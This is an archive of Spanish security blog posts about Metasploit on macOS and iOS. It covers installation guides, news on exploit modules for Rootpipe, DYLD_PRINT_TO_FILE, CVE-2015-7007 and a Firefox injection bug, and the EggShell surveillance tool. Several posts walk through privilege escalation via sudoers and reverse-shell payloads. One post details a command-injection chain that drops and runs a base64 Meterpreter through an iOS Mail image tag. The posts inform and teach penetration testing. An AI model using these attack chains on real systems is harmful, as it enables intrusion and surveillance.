Menú principal

Mostrando entradas con la etiqueta Metasploit. Mostrar todas las entradas
Mostrando entradas con la etiqueta Metasploit. Mostrar todas las entradas

jueves, 13 de julio de 2017

Device Paired Tool: Desconecta tu iOS y elimina la confianza con el Mac

Hace unas semanas nuestro compañero Pablo González (@pablogonzalezpe) publicó un artículo sobre cómo detectar qué dispositivos iOS habían generado confianza en tu equipo, ya sea un Mac o un Windows. Este artículo fue publicado en el blog de Chema Alonso y recomendamos que le echéis un ojo. Además, Pablo generó un script escrito en Ruby con el que se puede obtener información de los dispositivos conectados, y con los que se generó confianza, como, por ejemplo, el UDID del dispositivo, la dirección MAC de la WiFi  y del Bluetooth.

Para los más afines a Metasploit, Pablo generó también un script de Meterpreter con el que, en una post-explotación, se pueda detectar y obtener esta información. En ElevenPaths no paramos de probar cosas, escenarios e innovar. Con la agilidad por bandera seguimos jugando con la tecnología y decidimos crear una herramienta para Windows y Mac, la cual está disponible en su sitio web, la cual se encargue de dos cosas:
  1. Poder ver qué dispositivos iOS se han conectado a la máquina y el usuario ha pulsado en "confiar" en el equipo. 
  2. Eliminar el fichero de confianza una vez que se desconecta el dispositivo.
Hoy queremos mostrar el uso de la herramienta y para ello mostramos como al instalar la herramienta se crea en nuestro panel superior del Mac el icono de Device Paired, tal y como se puede ver en la imagen.

Figura 1: Menú contextual de Device Paired

El funcionamiento es muy sencillo. En la imagen siguiente se puede ver como accedemos a un panel dónde nos aparecerán los dispositivos con los que el equipo tiene los "Trusted Files" o ficheros de confianza. El propio nombre de fichero nos indica el UDID, por lo que ya tenemos identificado el dispositivo. Además, se puede visualizar qué datos se puede obtener de ese fichero de confianza. En la parte de la derecha del panel encontramos la opción de "Eliminar", por lo que en cualquier momento se puede eliminar la confianza con un dispositivo antiguo o que estuviera de paso por el equipo.

Figura 2: Panel de administración de Device Paired

Una de las cosas que queríamos meter es usabilidad y comodidad por el usuario, por lo que una vez instalada la herramienta, la próxima vez que conectes y desconectes tu dispositivo iOS obtendrás un mensaje de la herramienta preguntándote si quieres eliminar de forma segura el fichero de confianza que tienes generado.

Figura 3: Mensaje al desconectar tu dispositivo iOS con el que has generado confianza

Para descargar esta herramienta puedes hacerlo desde el sitio web de ElevenPaths. Aprovecha para ojear otras pruebas de concepto y nuestras herramientas de laboratorio. El conocimiento al servicio del gran público.

lunes, 24 de octubre de 2016

EggShell: Te permite vigilar tu macOS o tu iOS con Jailbreak

Una nueva herramienta de vigilancia está dando que hablar, ya que permite a cualquier persona espiar un entorno macOS o iOS con Jailbreak. La herramienta denominada EggShell, y disponible en su Github, está diseñada como una herramienta de prueba de concepto para los aficionados al lenguaje Python. Se trata de una herramienta de línea de comandos que crea de forma rápida y ágil una conexión cifrada de extremo a extremo entre el servidor, que será la propia herramienta, y el dispositivo.

En la web del desarrollador Lucas Jackson, se puede encontrar información sobre cómo funciona la herramienta y cómo configurarla. La herramienta genera un payload, el cual lleva el código que debemos ejecutar en nuestro macOS o nuestro iOS con Jailbreak. Tiene un parecido bastante grande con una Meterpreter. Una vez que la conexion se realiza con éxito, los usuarios pueden realizar una serie de operaciones en el dispositivo 'vigilado'. Se podría escuchar a través del micrófono, espiar a través de la webcam, capturar pulsaciones de teclado, descargar archivos, ejecutar comandos y muchas más operaciones.

Figura 1: EggShell a la escucha en el puerto 4444

Además, EggShell dispone de una versión Pro, la cual puede ser adquirida a través de Cydia. Esta versión amplia la funcionalidad, permitiendo al usuario bloquear el dispositivo, simular el botón de incio, reproducir música, registrar entradas de código de acceso o passcode, etcétera. Herramienta destinada a la vigilancia o la troyanización, dependerá siempre del uso que se le quiera dar.

viernes, 6 de mayo de 2016

Instalador oficial de Metasploit en OS X ya disponible

El crecimiento y cuota de mercado de los equipos de Apple es innegable. La gente de Rapid7 ha decidido sacar un instalador oficial de Metasploit para los equipos de Apple. En su wiki de Github la gente de Rapid7 presenta el instalador oficial para OS X con unas breves y sencillas instrucciones. Se puede llevar a cabo una instalación rápida a través de consola o utilizar una instalación con entorno gráfico. Hay que recordar que un entorno de Metasploit tiene una fuerte dependencia de un entorno Ruby y PostreSQL para el almacenamiento de la información. 

Hace unos días pude ver la siguiente imagen en Twitter, esto es lo que me alertó de la novedad de los instaladores en OS X. Hay que tener en cuenta que hasta hace poco la instalación de Metasploit se realizaba de manera no oficial como ya vimos. Sin duda es un avance hacia la comodidad y el saber que Rapid7 se encuentra detrás del soporte en OS X ayuda. 

Figura 1: Tuit publicando el instalador oficial de Metasploit en OS X
La instalación rápida

La instalación rápida se lleva a cabo a través de la invocación o ejecución de un script proporcionado por Rapid7. Este script puede ser obtenido de la siguiente manera:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \ chmod 755 msfinstall && \ ./msfinstall  
La instalación gráfica

Por último, la instalación gráfica puede ser llevada a cabo a través de la descarga y ejecución del paquete metasploitframework-latest.pkg. El historial de estos paquetes se puede encontrar en el dominio que Rapid7 ha preparado para OS X. Con la instalación gráfica todas las dependencias se instalarán y se llevará a cabo una instalación sencilla y limpia. El framework quedará instalado en /opt/metasploit-framework/ y su binario de consola se encontrará en bin/msfconsole dentro del directorio anterior.

domingo, 6 de diciembre de 2015

Fue Noticia en Seguridad Apple: Del 23 de Noviembre al 6 de Diciembre

Estamos ya en Diciembre y la Navidad está a la vuelta de la esquina. Pero lejos de ser unos tiempos de paz y prosperidad, el mundo de la seguridad informática no se detiene nunca. En Seguridad Apple sí lo hacemos, pero solo por un momento, para ofreceros el resumen de las noticias publicadas en este blog durante las últimas dos semanas, así como un rápido vistazo a los contenidos más interesantes de otros sitios de referencia.

El lunes 23 de noviembre os hablamos de la posibilidad de introducir passwords con TouchID gracias a un nuevo Tweak para iOS9 denominado iTouchSecure, que permite ahorrar tiempo y evitar recordar contraseñas.

Al día siguiente os contamos las reticencias de las principales compañías del mercado digital, Apple, Google, Microsft, Twitter y Samsung, a debilitar los sistemas de cifrado de sus dispositivos y aplicaciones.

El miércoles os presentamos los nuevos ajustes de privacidad y seguridad incluidos en iOS 9, que permiten multitud de configuraciones y personalizaciones, siempre con la seguridad del usuario y su información como meta.

Un día después os explicamos cómo funciona el módulo rsh/libmalloc, una vulnerabilidad que afecta a sistemas OS X 10.10.5 permitiendo a un atacante realizar una escalada de privilegios mediante la modificación del fichero sudoers.

El viernes os anunciamos el comienzo del Cybercamp Madrid 2015, un evento orientado a la ciberseguridad organizado por Incibe en el que se dieron cita los principales profesionales del sector de la seguridad informática.

Comenzamos el fin de semana con la lista de los ganadores de los Premios Bitácoras 2015, en el que el blog Oficina de Seguridad del Internauta obtuvo el galardón a mejor blog de seguridad informática de 2015.

Cerramos el mes de Noviembre presentando un bug aparecido en sistemas OS X 10.11.1 que permite bypassear la confirmación de AppleScript  y la ejecución de código, siendo por tanto una vulnerabilidad crítica que pone en grave riesgo la seguridad de los usuarios.

Diciembre comenzó con la presentación de una técnica para desde una interfaz CLI ser capaz de listar los contactos de Telegram a partir de los metadatos que almacena la aplicación, lo cual supone un grave problema para la privacidad.

El miércoles 2 os explicamos cómo instalar MacOS "Classic" en una Raspberry Pi, un proceso nada sencillo que hacie uso de RetroPie, una herramienta de hardware emulado.

El jueves os presentamos la nueva versión del navegador Google Chrome, la 47, que además de nuevas funcionalidades pone punto y final a 41 vulnerabilidades, una de ellas crítica, que comprometían la seguridad de los usuarios.

Por último, el viernes hablamos sobre la cuota de usuarios que ya se habian pasado a iOS 9. Más del 70% de usuarios ya disponen del nuevo sistema operativo, mientras que la suma entre iOS 8 e iOS 9 ya supera el 92% de la cuota de usuarios de Apple en dispositivos móviles. Sin duda, son buenos números para ver cómo los usuarios van actualizando sus dispositivos, siempre que sea posible

Esto ha sido lo que hemos publicado, pero como ya tradición, os dejamos una lista de otros artículos en otros medios que creemos que merece la pena que leáis. Aquí van:
Y ahora sí se acabó esta sección por hoy. Volveremos a repasar toda la actualidad dentro de dos semanas y esperamos veros todos los días en los post diarios de Seguridad Apple.  

lunes, 30 de noviembre de 2015

OS X 10.11.1: Bug permite bypassear la confirmación de AppleScript y ejecutar código

La vulnerabilidad con CVE-2015-7007 publicada el pasado mes de Octubre afecta gravemente al nuevo sistema operativo de Apple denominado El Capitan. Una vulnerabilidad encontrada en OS X 10.11.1 permite a los atacantes bypassear la confirmación requerida por AppleScript para ejecutar código. Esta vulnerabilidad es grave o crítica ya que permite que un potencial atacante se apodere remotamente de un equipo con este sistema operativo instalado. 

La vulnerabilidad fue reportada por el investigador Joe Vennix de la empresa Rapid7. Seguramente debido a esto, el exploit se encuentra ya integrado con el framework de explotación de Metasploit. En versiones anteriores a la 10.11.1 el esquema applescript://url proporciona la posibilidad de ejecutar una secuencia de comandos a través del editor de AppleScript. Al pulsar sobre la combinación de teclas cmd - R en el editor de AppleScript se ejecuta el código sin ningún tipo de confirmación adicional del usuario. 

Figura 1: Descripción de la vulnerabilidad

Si se consigue que el usuario pulse el botón cmd - R en Safari y enganchando el evento keypress-cmd un usuario puede ser engañado para ejecutar código arbitrario con AppleScript. El investigador Joe Vennix ha publicado un módulo de Metasploit que permite realizar esta operativa de manera sencilla. Este módulo es de tipo client-side, por lo que creará un servicio que devolverá una página web maliciosa y que al visitarla conseguirá ejecutar, apoyándose en esta vulnerabilidad, código arbitrario en la máquina. 

Figura 2: Código del módulo CVE-2015-7007

Cómo se puede ver el módulo es realmente sencillo y mediante un client-side permitirá comprometer a los equipos OS X. Como nota, que minimiza el impacto de la vulnerabilidad, decir que Gatekeeper debe estar deshabilitado. Si quieres conocer más sobre Metasploit te recomendamos el libro de Metasploit para Pentesters escrito por nuestro compañero Pablo González.

jueves, 26 de noviembre de 2015

OS X 10.10.5: Módulo rsh/libmalloc en Metasploit para escalar privilegios explotando el CVE-2015-5889

El pasado mes de Octubre se hizo pública la última gran vulnerabilidad de escalada de privilegios para OS X. En esta ocasión con nombre rsh/libmalloc y que afectaba a los sistemas OS X 10.9.5 y 10.10.5. La vulnerabilidad que se puede encontrar en el CVE-2015-5889 permite modificar el fichero sudoers consiguiendo ejecutar un comando, un proceso o una shell con la identidad del superusuario root.

Es cierto que este año hemos ido viendo distintos ejemplos de vulnerabilidades locales que permitían escalar privilegios en sistemas OS X, como por ejemplo el exploit que cabía en un tweet, o Rootpipe I y Rootpipe II. El módulo puede encontrarse en el sitio web de exploit-db, aunque ya se puede encontrar en el github oficial de Metasploit Framework. Como se mencionaba anteriormente el modulo escribe en el fichero sudoers sin disponer de acceso de root explotando una vulnerabilidad en rsh. La línea que se escribe en el fichero sudoers indica que no se requiere password para utilizar la identidad de root, cuando un usuario ejecute el comando sudo. De este modo se da acceso completo, incluso si el root está deshabilitado.

Figura 1: Función initialize del módulo rsh/libmalloc

La vulnerabilidad ha sido parcheada en la versión OS X 10.11 El Capitan, pero es funcional en las versiones OS X 10.9.5 y OS X 10.10.5. Si queréis saber más cosas sobre Metasploit tenéis el libro de nuestro compañero Pablo González llamado Metasploit para Pentesters.

miércoles, 2 de septiembre de 2015

Metasploit ya tiene exploit para Rootpipe II de OS X

En Abril de este año Apple decidió solucionar el bug de Rootpipe. La vulnerabilidad fue presentada en Noviembre de 2014 a través de un video del investigador que la descubrió. El investigador proporcionó toda la información a Apple para que se resolviera. La gente de Cupertino liberó en Abril de este año el parche que solucionaba la vulnerabilidad crítica. Lo que Apple no podía imaginar es que esta vulnerabilidad no sería parcheada correctamente. 

Al final en la versión 10.10.3 de OS X Yosemite no se parcheó correctamente, y seguía siendo vulnerable a un derivado de la vulnerabilidad, lo cual se denominó Rootpipe II o Rootpipe Again. Es en la versión 10.10.4 de OS X Yosemite dónde finalmente se parcheó correctamente. La gente de Rapid7 liberó el exploit de Rootpipe para Metasploit y nosotros hicimos una prueba de concepto de ello. Hoy la noticia que traemos es que se ha publicado el módulo de Metasploit para la vulnerabilidad Rootpipe II. Antes de entrar en detalle os mostramos el timeline de la vulnerabilidad:
  • 8 de Abril de 2015 se libera el parche con OS X Yosemite 10.10.3.
  • 9 de Abril de 2015 se hace un full disclosure con la nueva vulnerabilidad de Rootpipe II
  • 27 de Abril de 2015 Apple contacta con el autor sobre la nueva vulnerabilidad.
  • 30 de Junio de 2015 se libera el parche con OS X Yosemite 10.10.4.
  • El 1 de Julio de 2015 se hace un full disclosure con CVE-2015-3673.
Figura 1: Módulo de Metasploit para Rootpipe II 






El módulo está disponible en exploit-db y en el github de Metasploit. Al final no es más que una adaptación del exploit original que se liberó. Si aún no has actualizado tus sistemas a la versión 10.10.5 de OS X Yosemite aprovecha y no lo dudes.

martes, 28 de julio de 2015

Apple no parchea (aún) el bug de DYLD_PRINT_TO_FILE

Han pasado varios días desde que esta vulnerabilidad provocada por la variable de entorno DYLD_PRINT_FO_FILE generaba uno de los fallos de seguridad, en lo que a escalada de privilegios se refiere, más importantes del año. A día de hoy no se ha publicado una solución por parte de Apple, y aunque se sabe que en su nueva versión OS X 10.11 El Capitan, vendrá resuelta, para que OS X Yosemite no es tan importante.Ya hemos hablado en otras ocasiones sobre la política de actualizaciones de Apple, y sabemos que no es la más ágil de todas, por lo que esperamos para ver en cuanto tiempo solucionan el problema. 

Todo el mundo sabe que no exite un sistema operativo sin problemas de seguridad, pero lo que si hemos comentado es que algunos fabricantes son más asiduos que otros para solucionar los fallos. Como se comenta, la versión OS X 10.11 viene con esta vulnerabilidad parcheada, mientras que en OS X 10.10 sigue siendo un 0day. Además, hay que recordar que el exploit cabe en un simple tweet, por lo que es realmente manejable. La gente de Rapid7 ya sacó su módulo para Metasploit, el cual como indican en los autores, es un copy and paste del tweet publicado por Stefan Esser

Figura 1: El exploit en un solo tweet

Lo más curioso del asunto es que la versión beta de la siguiente versión de Yosemite parece indicar que se encuentra activa. Esto sería un hecho grave, ya que Apple ya conoce la existencia de la vulnerabilidad y su criticidad, ya que hay que recordar que permite a un potencial atacante tomar el control de la máquina con el máximo privilegio, es decir, provocar la escalada de privilegios. 

Figura 2: Módulo para el exploit en Metasploit

El propio investigador Stefan Esser proporcionó su propio parche no oficial para la vulnerabilidad. El propio Esser indicó que la instalación de su parche podría provocar la existencia de otros fallos de seguridad en el sistema. Esperemos que Apple tome partido pronto, y que saque una actualización para solventar el fallo lo antes posible.

sábado, 25 de julio de 2015

Metasploit: Nuevo módulo para ser root en OS X Yosemite

La noticia ha saltado hace unos días, un fallo crítico en OS X Yosemite permite a un atacante conseguir ser root con una simple instrucción en una terminal. La gente de Rapid7 ya le ha puesto nombre dyld_print_to_file_root. Lo más curioso de todo es que el exploit es tan pequeño de escribir que cabe todo entero en un solo tweet. El módulo que se ha creado para explotar esta vulnerabilidad se puede encontrar en el Github oficial de Metasploit y ya puedes engrosar tu arsenal de herramientas para atacar objetivos con OS X.

Hay que recordar que la vulnerabilidad permitía a un atacante escribir en el fichero /etc/sudoers añadiendo, por ejemplo, una línea que permita al usuario sin privilegio tomar privilegio sobre el sistema, por ejemplo la identidad de root, sin necesidad de introducir contraseña cuando se ejecute el comando sudo. Esto es algo muy potente, ya que esto permite escalar privilegios, pasando de un usuario sin ningún tipo de privilegio a un usuario con el máximo privilegio. 

Figura 1: Descripción del módulo y autoría

El módulo es realmente sencillo de entender, debido también a la simplicidad de la explotación de la vulnerabilidad. Como en todos los módulos de Metasploit de tipo exploit existe una función check y exploit. Podemos ver como en este módulo, además, existen funciones auxiliares que son utilizadas en las funciones citadas anteriormente.

La función del exploit genera un binario que contiene el payload que el usuario indique. En este módulo por defecto se utiliza el payload osx/x64/shell_reverse_tcp, el cual devolverá una shell remota al usuario dónde éste configure desde la consola de Metasploit. Una vez que se escribe en disco, en un directorio dónde el usuario puede escribir, se da permisos de ejecución al fichero binario que contiene el payload. Y por último utilizando el mixin cmd_exec se lanza la función sploit que contiene el exploit, el cual se puede ver que es la línea que fue publicada por Stefan Esser, con la adición de la instrucción sudo #{payload_file} que es la ruta dónde se subió el fichero binario con el paylaod.

Figura 2: Funciones exploit y check

Como puede verse el código del módulo es realmente sencillo y muy potente. La función check verifica antes de ejecutar si el exploit tendrá éxito o no. Como se puede ver en el cuerpo de la función se utiliza la versión para identificar si el sistema es vulnerable o no. En el caso de que la sesión de Metasploit se tenga en un OS X 10.10.0 a 10.10.4 el valor devuelto de la función será Exploit::CheckCode::Vulnerable, o lo que es lo mismo nos aparecerá un mensaje que indica que la máquina es vulnerable.

Poco más hay que decir sobre esta vulnerabilidad, la criticidad es muy alta, por lo que habrá que actualizar el sistema lo antes posible, y esperamos que Apple se ponga las pilas con ello. Si quieres aprender más sobre Metasploit puedes leer el libro de nuestro compañero Pablo González, Metasploit Para Pentesters.

miércoles, 1 de julio de 2015

Cómo instalar Metasploit en OS X Mavericks

Homebrew permite al usuario de OS X instalar gran cantidad de paquetes que Apple no proporciona a sus usuarios. Para poder instalar Metasploit en OS X utilizaremos paquetes que podemos obtener con Homebrew de manera sencilla. Es importante que para llevar a cabo la instalación de Metasploit en OS X no se disponga de MacPorts instalado en el equipo, ya que seguramente se tenga problemas con ellos y las dependencias. La instalación de Metasploit puede resumirse en los siguientes pasos que se muestran a continuación:
  • Instalación de Command Line Development Tools Xcode 5 en Mavericks
  • Instalación de Java
  • Instalación de Homebrew
  • Instalación de Ruby 2.1
  • Instalación del escáner Nmap
  • Instalación de la base de datos de PostgreSQL y su configuración
  • Instalación de Metasploit Framework
Como se puede ver la lista de acciones a realizar es grande, pero si seguimos esto paso a paso no deberíamos tener problemas para instalar el framework en OS X Mavericks. En primer lugar hay que asegurarse de que se encuentran instaladas las Command Line Developer Tools y para ello se puede abrir un terminal y ejecutar la siguiente instrucción xcode-select –install, instalándose las herramientas automáticamente. 

Figura 1: Instalación de las Command Line Developer Tools

Hay que asegurarse de tener la última versión de Java, en este caso Java JDK 8. Esto puede ser descargado desde el sitio web de Oracle. Para asegurarse de que se tiene la versión adecuada se puede ejecutar en un terminal la siguiente instrucción java –version. Además, si se quiere comprobar dónde está instalado se puede utilizar el comando whereis.

Ahora, instalaremos Homebrew pudiéndose descargar desde su sitio web. En este punto, y tras instalar Homebrew hay que asegurarse de que los binarios instalados por éste son los primeros que se encuentran en la variable de entorno $PATH. Por ello se ejecutan las siguientes instrucciones echo PATH=/usr/local/bin:/usr/local/sbin:$PATH >> $HOME/.bash_profile; source $HOME/.bash_profile; brew tap homebrew/versions

Para instalar Ruby 2.1 utilizaremos Homebrew, y es tan sencillo como ejecutar la siguiente instrucción brew install homebrew/versions/ruby21. Una vez ejecutada la instrucción se comprueba la versión ejecutando la orden ruby –v en la terminal. Existen otras formas de instalar Ruby en OS X, pero quizá está es una de las más sencillas para los usuarios.

Para instalar Nmap también utilizaremos Homebrew. Con este proceso su instalación es trivial y muy rápida. La instrucción que debe ser ejecutada es brew install nmap en la terminal. Nmap puede ser utilizado desde la consola de Metasploit por lo que es importante su correcta instalación y Homebrew simplifica y mucho el proceso.

La instalación del motor de base de datos PostgreSQL y su configuración es un paso también crítico, ya que después será utilizado por la consola de Metasploit. La instalación se llevará a cabo desde Homebrew con la instrucción brew install postgresql –without-ossp-uuid. Una vez instalado se debe configurar. Para ello hay que inicializar el motor de base de datos con la siguiente instrucción initdb /usr/local/var/postgres. Para configurar PostgreSQL se lanzarán varias instrucciones cuyo objetivo es copiar una configuración al entorno de usuario. Las instrucciones son:
mkdir –p $HOME/Library/LaunchAgents
cp /usr/local/Cellar/postgresql/9.1.4/homebrew.mxcl.postgresql.plist $HOME/Library/LaunchAgents/
launchctl load –w $HOME/Library/LaunchAgents/homebrew.mxcl.postgresql.plist
Una vez realizado esto debemos crear un usuario para la base de datos llamado msf que utilizaremos con Metasploit. Para realizar esto ejecutamos la instrucción createuser msf –P –h localhost. Además, se debe crear la base de datos con la instrucción createdb –O msf msf –h localhost.

Ahora toca descargarse el framework con Git. Para obtener la copia del repositorio ejecutaremos la instrucción git clone https://github.com/rapid7/metasploit-framework.git. En este punto ya estaríamos cerca de poder arrancar la consola de Metasploit. Creando el directorio /usr/local/share/metasploit-framework y copiando todo lo que se descarga desde Git podemos crear un enlace simbólico para poder utilizar día a día con facilidad Metasploit. Para todos los binarios que empiezan por msf* de la carpeta de Metasploit se hace un enlace simbólico a la ubicación /usr/local/bin y de este modo aparecen en $PATH y son fácilmente invocables. Una instrucción sencilla sería ejecutar lo siguiente for file in $(ls msf*); do ln –s /usr/local/share/metasploit-framework/$file /usr/local/bin/$file; done.

Ahora damos permisos al resto de usuarios de escritura sobre el fichero /etc/profile, por ejemplo con chmod go+w. Por último hay que configurar la base de datos para que se integre con Metasploit y para ello añadimos al fichero /etc/profile la siguiente instrucción sudo echo export MSF_DATABASE_CONFIG=/usr/local/share/metasploit-framework/config/database.yml >> /etc/profile.

Figura 2: Metasploit en OS X
Utilizamos bundle install para instalar las versiones de las gemas soportadas por el framework. Editamos el fichero /usr/local/share/metasploit-framework/config/database.yml con la siguiente información:
Production:

adapter: postgresql

database: msf

username:msf

password:

host: 127.0.0.1

port: 5432

pool: X (un número que se quiera dar, por ejemplo 75)

timeout: 5
Ejecutamos source /etc/profile y source $HOME/.bash_profile para que todo quede actualizado y podremos lanzar msfconsole. No es un proceso rápido y puede resultar costoso, pero disponer del framework de explotación de Metasploit en tu OS X Mavericks merece la pena.

martes, 5 de mayo de 2015

[PoC] Explotar un bug de Command Injection a través del cliente Mail de iOS

Hace ya años hablamos de una debilidad en el gestor de correo electrónico que por defecto trae iOS, el cliente Mail. Este cliente permitía al abrir un correo electrónico cargar automáticamente las imágenes, por lo que las etiquetas img en html son ejecutadas por el cliente intentando buscar el origen de la imagen. Ya se mostró en el artículo como era sencillo obtener la versión del sistema operativo de un target, incluso jugando con el ISP podríamos cercar una ubicación.

En el año 2012, un año después del artículo dónde se mostraba la debilidad, Apple decidió quitar esta funcionalidad por defecto, lo cual supuso una mejora de seguridad en el cliente de correo, la cual se introdujo en la versión 6 de iOS.

Carga de imágenes en mensajes de correo electrónico

En muchas ocasiones, hay usuarios que prefieren tener habilitado la carga de imágenes por defecto, y lo ven como una costumbre. ¿Qué se puede llegar a hacer con esta debilidad? Lo que se muestra en este artículo es una combinación fatal en la que gracias a un tercero, en este caso el usuario que abre un email con el cliente de correo de iOS, se puede llevar a cabo un ataque con consecuencias devastadoras para una empresa que tiene alguna que otra vulnerabilidad web, como ya vimos en el ejemplo de explotar un CSRF en el panel de administración de un router, o un ataque SQL Injection en la intranet de la empresa, o un bug en los sistemas de votaciones, así como que te hagan tracking de tu ubicación en todo momento. Hoy veremos un ejemplo con la explotación de un Command Injection

El esquema del ataque es el siguiente:
  1. El atacante conoce la existencia de una vulnerabilidad crítica, como es un Command Injection, en un servidor de la empresa target
  2. El atacante prepara un email para un usuario que utiliza el cliente mail de iOS. Dentro del cuerpo del mensaje existirá una etiqueta img que solicitará una imagen a una fuente, la cual es el servidor vulnerable.
Figura 1: Preparación HTML del correo electrónico

Existe una vulnerabilidad de Command Injection en el parámetro domain de la aplicación web. Aprovechando esto y sabiendo que el atacante quiere la dirección IP que quede registrada en el ataque no sea la suya, y sí la de un dispositivo iOS, se ejecutan 4 instrucciones en la petición al parámetro vulnerable. La primera vuelca un contenido en un fichero en /tmp denominado pay.txt. Este fichero contiene nuestro payload. La segunda instrucción decodifica el contenido del fichero y lo vuelva en un fichero. Este fichero ya es código binario. La tercera instrucción cambia los permisos del fichero binario que acabamos de crear, mientras que la cuarta instrucción ejecuta el código en el servidor remoto. Cuando el binario se ejecute, devolverá el control de la máquina a dónde el usuario que lo generó con el módulo que se verá a continuación haya indicado.

¿Qué es el "chorro" de números y letras que se muestra después del echo y que acaba en un signo "="? Es una Meterpreter en base64. Para generar este tipo de soluciones en ataques web, nuestro compañero Pablo González realizó un pequeño módulo para generar payloads ya encodeados en base64. En su libro de Metasploit para Pentesters podéis encontrar ejemplos como éste en la introducción al desarrollo de módulos para el framework. En la imagen se puede visualizar una prueba de cómo utilizar este módulo, y es realmente interesante utilizar estos códigos en ataques web de tipo CI.

Figura 2: Creación de un payload en base64 con generator_payload_base64

Antes de suponer el envío del email reflejemos el escenario final del ataque. En la siguiente imagen se puede comprobar los pasos a seguir por el atacante y el resultado del mismo si todo va bien. Como se dijo anteriormente hay una serie de condiciones que se deben cumplir, pero el resultado del ataque es crítico.

Figura 3: Esquema global del ataque

Una vez el email se envía, el usuario con iOS lo abrirá. Cuando el e-mail es abierto, y siempre y cuando la opción de carga de imágenes se encuentre activa se realizará una petición al servidor que se indique en el atributo src de la etiqueta img. Si la carga automática no se encuentra activa, el usuario puede decidir cargar las imágenes también, aunque ya requiere acción por parte del usuario.

Figura 4: Obtención de un Meterpreter en un sistema Linux

En definitiva, tenemos que tener cuidado con la carga de fuentes externas, ya que es común que ejecutemos contenido externo de otros sitios web, por ejemplo archivos Javascript que ejecutan código en nuestro navegador.

martes, 14 de abril de 2015

[PoC] El exploit Rootpipe ha sido liberado para Metasploit

Hace unos meses, en el pasado Noviembre de 2014,  hablamos de un video que apareció y en el que se veía un exploit que permitía escalar privilegios en una máquina. El grave bug en OS X Yosemite permitía la elevación de privilegios fue denominado Rootpipe. La vulnerabilidad fue descubierta por el hacker sueco Emil Kvarnhammar. Después de todo este tiempo, al final, el pasado 9 de Abril se hizo público el exploit escrito en Python para explotar esta vulnerabilidad de ámbito local.

Hay que recordar que para explotar la escalada de privilegios debemos tener conexión a la máquina remota o encontrarnos físicamente en la máquina OS X. En el siguiente video podemos recordar lo espectacular del exploit y como TrueSec fascinó al mundo de Apple. Fácil y sencillo.

Figura 1: Explotación de Rootpipe en OS X

El día 13 de Abril la gente de Metasploit publicó la adaptación del módulo de Rootpipe para el framework. Como nota hay que indicar que realmente hacen uso del exploit en Python, solo que el módulo se encarga de invocarlo. Hay que descargar el módulo Ruby, y además el fichero Python. El primer lo ubicaremos en la ruta exploit/osx/local/rootpipe.rb, mientras que el fichero Python lo almacenaremos en data/exploits/CVE-2015-1130/exploit.py. Si no tenemos en cuenta esto último el módulo no nos podrá funcionar, ya que como se comenta antes, el módulo de Ruby hace uso del código de Python.

Ejecución remota vía Mozilla Firefox

Aprovechándonos de la vulnerabilidad de Firefox, Proxy Prototype Privileged JS Injection, de la versión 31 a la 34, conseguimos una sesión en una máquina remota con OS X, por ejemplo Yosemite 10.10.2.

Figura 2: Sesión en OS X Yosemite a través de la vulnerabilidad en Firefox

Una vez tenemos la sesión se debe colocar la shell en background, aunque antes podemos visualizar los permisos que se tienen en la shell obtenida a través de Firefox. Se puede visualizar el uid del usuario pablo, y otros grupos a los que dicho usuario pertenece.

Figura 3: Shell sobre OS X Yosemite 10.10.2

Elevación de privilegios vía Rootpipe

Ahora sí, cuando dejemos la shell en background configuramos el módulo de explotación local de rootpipe. Hay varios atributos que configurar como son la sesión por la que se lanzará el exploit, en este caso utilizaremos el identificador obtenido anteriormente. Además, el exploit permite configurar que directorio será utilizado por rootpipe para escribir, tanto exploit como payload. Si lo dejamos por defecto escribiremos en /.Trashes, la cual es una carpeta que necesita privilegio para escribir, por lo que si podemos escribir tendrá buena pinta.

Figura 4: Ejecución de rootpipe y obtencion de privilegio

Como comentamos en Seguridad Apple la semana pasada, Apple ha liberado diferentes actualizaciones, tapando más de 100 agujeros de seguridad, entre sus productos iOS y OS X. Os recomendamos que actualicéis lo antes posible, ya que como podéis observar la suma de vulnerabilidades, entre software de navegación y software nativo pueden provocar que tu OS X otorgue el privilegio a un atacante.

jueves, 26 de marzo de 2015

[PoC] Proxy Prototype Privileged Javascript Injection con Metasploit: Ownear un OS X explotando un bug de Firefox

Hace unos días los investigadores de seguridad de Rapid 7 anunciaron un nuevo módulo que permite aprovecharse de una vulnerabilidad, catalogada con el código CVE-2014-8636, que afecta desde la versión 31 a la version 34 del popular navegador de Internet Mozilla Firefox. Esta vulnerabilidad es independiente de la plataforma, por lo que puede ser explotada en OS X. Visto esto, es más que recomendable consultar en la ayuda de Mozilla Firefox la versión que tienes instalada. 

Desde Exploit-DB se puede descargar el módulo de Metasploit que aprovecha esta vulnerabilidad. Al final la inserción del módulo al framework no es más que un copy and paste dentro de una carpeta, en este caso exploit/multi/browser. La vulnerabilidad se encuentra en una implementación de XrayWrapper la cual no interactúa correctamente con el objeto DOM, pudiendo permitir a un usuario ejecutar código Javascript arbitrario.

Figura 1: Cabecera del módulo Proxy Prototype Privileged JS Injection para Firefox

El ataque es de tipo Client-Side, por lo que cualquier usuario que utilice una versión de Mozilla Firefox vulnerable corre el riesgo de acceder a un sitio web malicioso que se encuentra preparado para lanzar el exploit. La configuración del módulo en Metasploit es sencilla, simplemente debemos indicar el valor del atributo URIPATH y configurar el payload. Una vez configurado esto con ejecutar el comando exploit estaríamos creando un sitio web malicioso con el que al recibir una petición enviaremos el exploit.

Figura 2: Acceso al sitio web malicioso con Firefox

Algo a tener en cuenta es que por defecto el módulo trae configurado un target cuyo payload será una shell, pero si ejecutamos la instrucción show targets podemos ver que se podrán ejecutar otro tipo de payloads nativos, es decir, en función del sistema operativo. Aquí es dónde podremos configurar un payload para OS X, por ejemplo osx/x86/isight/reverse_tcp, y poder espiar al usuario. Recuerda ponerte sexy ante iSight.

Figura 3: Targets en Metasploit

Como se comentó anteriormente, es altamente recomendable actualizar el navegador, ya que podemos ser víctimas de diferentes tipos de ataques a través de este tipo de vulnerabilidades. Si quieres aprender más sobre el framework de Metasploit puedes consultar el libro de nuestro compañero Pablo González.

miércoles, 11 de febrero de 2015

Participación de Eleven Paths en la RootedCON 2015

Como cada año la RootedCON vuelve a la carga, y este año con un potencial enorme tanto entre sus ponentes como en los RootedLabs que se celebran los días previos al congreso. La conferencia consta de 3 días de ponencias con ponentes de ámbito nacional e internacional y 3 días previos a las ponencias se dan los conocidos RootedLabs. Este año Eleven Paths tiene gran presencia en el evento contando con tres ponencias y un par de labs. 
